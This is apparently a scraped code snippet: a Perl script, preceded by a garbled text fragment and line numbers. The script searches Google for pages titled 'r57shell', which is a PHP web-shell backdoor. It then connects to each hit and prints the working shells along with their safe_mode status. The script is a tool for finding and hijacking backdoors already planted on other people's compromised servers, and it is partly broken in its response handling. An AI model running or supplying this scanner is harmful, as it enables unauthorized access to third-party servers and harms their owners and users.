use strict use warnings all use IO Socket my req intitle r57shell phpi

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
use strict;
use warnings 'all';
use IO::Socket;
$| = 1;
my $req = 'intitle:r57shell+"[+phpinfo+]"';
my $num = 1;
my $delay = 1;
my @shells = f3($req, $num, $delay) || die "\nCan't found some result\n";
foreach my $shell (@shells) {
my ($host, $path) = $shell =~ m|^([^/]+)/(.*)|;
my $testcon = IO::Socket::INET->new("$host:80") || next;
print $testcon "GET /$path HTTP/1.1\r\n"
."Host: $host\r\n"
."User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.18)\r\n"
."Connection: close\r\n\r\n";
my $code = $_ while <$testcon>; close $testcon;
my ($sm) = $code =~ m|Safe_mode: <b><font color=\w+>(\w+)</font>|i;
if ( defined $sm ) { print "\nSHELL: http://$shell SAFE_MODE: $sm\n" }
else { print "\nIt's not a shell\n" }
}
sub f3 {
my $resp;
for (0 .. $_[1]) {
my $google = IO::Socket::INET->new('google.com:80') || die "\nCan't connect to google.com\n";
print $google "GET /search?q=$_[0]&start=".$_."0 HTTP/1.1\r\n"
."Host: www.google.com\r\n"
."User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.18)\r\n"
."Connection: close\r\n\r\n";
$resp .= $_ while <$google>; close $google;
sleep $_[2];}
my @links = $resp =~ m|a href="http://(\S+)" class=l|g;
@links = grep {!$_{$_}++} @links;
return undef unless scalar @links > 0;
return "@links";
}